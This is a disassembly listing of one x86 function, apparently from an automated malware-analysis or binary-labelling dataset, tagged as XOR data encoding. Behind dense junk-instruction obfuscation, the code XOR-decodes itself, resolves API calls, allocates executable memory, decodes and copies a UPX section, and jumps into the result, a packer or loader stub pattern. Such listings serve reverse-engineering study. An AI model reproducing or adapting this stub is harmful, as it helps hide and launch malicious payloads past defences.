Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x5f211de5
mov eax, 0xeb4c15f4
sub eax, 0xfe500521
popal
inc eax
and eax, eax
mov eax, 0
mov esi, edx
not edi
and edi, edi
mov ebx, esi
sub ecx, 0x9ca80a93
add ecx, 1
mov edx, ebx
dec ecx
add edi, edi
sub ecx, 0xf7e7cbec
inc eax
mov edi, ecx
or ecx, edi
and edi, ecx
cmp eax, 0x1002c77
jne 0xa789c6
add edi, ecx
or edi, edi
mov eax, esi
add eax, 0xdbdeeb9e
mov eax, 0x62d8739a
mov edx, 0xa78796
or eax, ebx
mov ebx, esi
mov edi, 0xa7898a
inc eax
mov eax, esi
sub ebx, 0xe0ca6603
mov ecx, dword [edx]
sub esi, ebx
or esi, ebx
and ecx, 0xff
not ebx
add eax, ebx
sub ebx, 0x3cdce964
xor dword [edi], ecx
add eax, ebx
mov esi, eax
add eax, 0x6a5588b9
inc edi
dec ebx
sub ebx, 0xfb163451
inc edx
mov eax, esi
add esi, 0xf7a92a4b
cmp edi, entry0
jl 0xa78a20
sub ebx, eax
mov eax, ebx
sub ebx, esi
dec eax
sub ebx, 0x18b8128b
mov ebx, 0x3cf1a8b2
mov edi, 0xa7898e
add esi, 1
mov ecx, 0x3174edb1
add edx, edx
mov edi, dword [edi]
add ecx, 1
mov edx, ecx
mov edi, dword [edi]
mov esi, ebx
and ebx, ebx
push edi
dec ebx
sub edx, 1
mov edi, 0xa7898a
mov ebx, 0xcb7e51ac
mov ebx, 0x71751482
add edx, 0x7ce92e39
mov edi, dword [edi]
sub edx, esi
add esi, 0xa1517d72
mov edx, 0x8aa860b5
mov edi, dword [edi]
mov ebx, 0x4afd3d74
add edx, ebx
push 0xa78992
add esi, 1
inc esi
call edi
not ebx
sub ecx, esi
mov edi, dword [esp]
add esp, 4
mov edx, 0xb938f44c
inc ebx
mov ecx, esi
push 0xa7899f
and esi, edx
sub esi, edx
push eax
or ecx, ecx
and ebx, edx
call edi
or ebx, ebx
sub ecx, 1
and ebx, ebx
push 0x40
sub esi, 1
sub ecx, esi
add ecx, 0x60cba4af
push 0x3000
mov esi, edx
or edx, ebx
sub esp, 4
mov dword [esp], 0x20000f84
or ecx, edx
mov ecx, 0xf55bfed2
push 0
sub ecx, edx
add esi, 0xe2090a19
call eax
not ecx
mov esi, 0x21e1264d
add ecx, edx
add eax, 0x20000ee1
mov ecx, ebx
mov ecx, edx
sub edx, 0x250f2012
mov edi, 0x8c873863
or ebx, ecx
mov ebx, 0xc54a37b2
mov dword [eax], edi
or ebx, esi
and ecx, edx
mov edi, dword [eax]
sub edx, ecx
add esi, ecx
and ecx, esi
cmp edi, 0x8c873863
je 0xa78b80
mov ebx, 0
mov ecx, dword [ebx]
dec ebx
add esi, edx
and esi, esi
add ecx, ebx
add edx, edx
and eax, esi
not esi
mov eax, esi
mov ebx, section.UPX1
not esi
sub eax, 0x13b04696
mov edx, 0xa78795
inc esi
sub eax, esi
mov ecx, 0
inc esi
add esi, eax
mov edi, 0xa78796
add esi, 0x8bd43e9d
sub eax, 1
lea edi, [ecx + edi]
mov esi, eax
add esi, 0xe10a0f86
sub eax, esi
mov edi, dword [edi]
and eax, esi
mov eax, 0xdeb3e840
sub esi, 0x2996bbf0
and edi, 0xff
or esi, esi
sub esi, eax
inc ecx
and eax, eax
or eax, eax
cmp ecx, 0x1f4
jne 0xa78bf5
mov ecx, 0
and eax, eax
dec eax
add esi, 0x85c46602
or eax, eax
mov esi, eax
xor dword [ebx], edi
not eax
or eax, esi
sub esi, 0xd1a5ee70
add ebx, 2
sub eax, esi
or esi, esi
or eax, esi
cmp ebx, edx
jl 0xa78bac
or esi, eax
mov esi, eax
mov eax, 0xa2b1a990
not eax
sub eax, esi
mov esi, section.UPX1
inc ebx
or ebx, edi
and ebx, edi
mov edx, section.UPX1
or ebx, ebx
inc edi
mov eax, 0xa78795
not edi
mov ebx, 0xd91c39a6
mov ecx, 0
add edi, 1
mov ebx, edi
add edi, ebx
mov cl, byte [edx]
dec edi
or edi, ebx
sub ebx, edi
mov byte [esi], cl
or ebx, edi
sub ebx, 0x6f0bf32d
inc esi
add ebx, 0x6c6c0ac6
mov ebx, 0x6a7e1f21
mov edi, 0x1e9d3487
add edx, 2
and ebx, ebx
sub ebx, edi
cmp edx, eax
jle 0xa78c5c
not ebx
add edi, ebx
inc edi
dec esi
not esi
not eax
push 0x8dc6a0
dec eax
sub eax, 0x2658d642
ret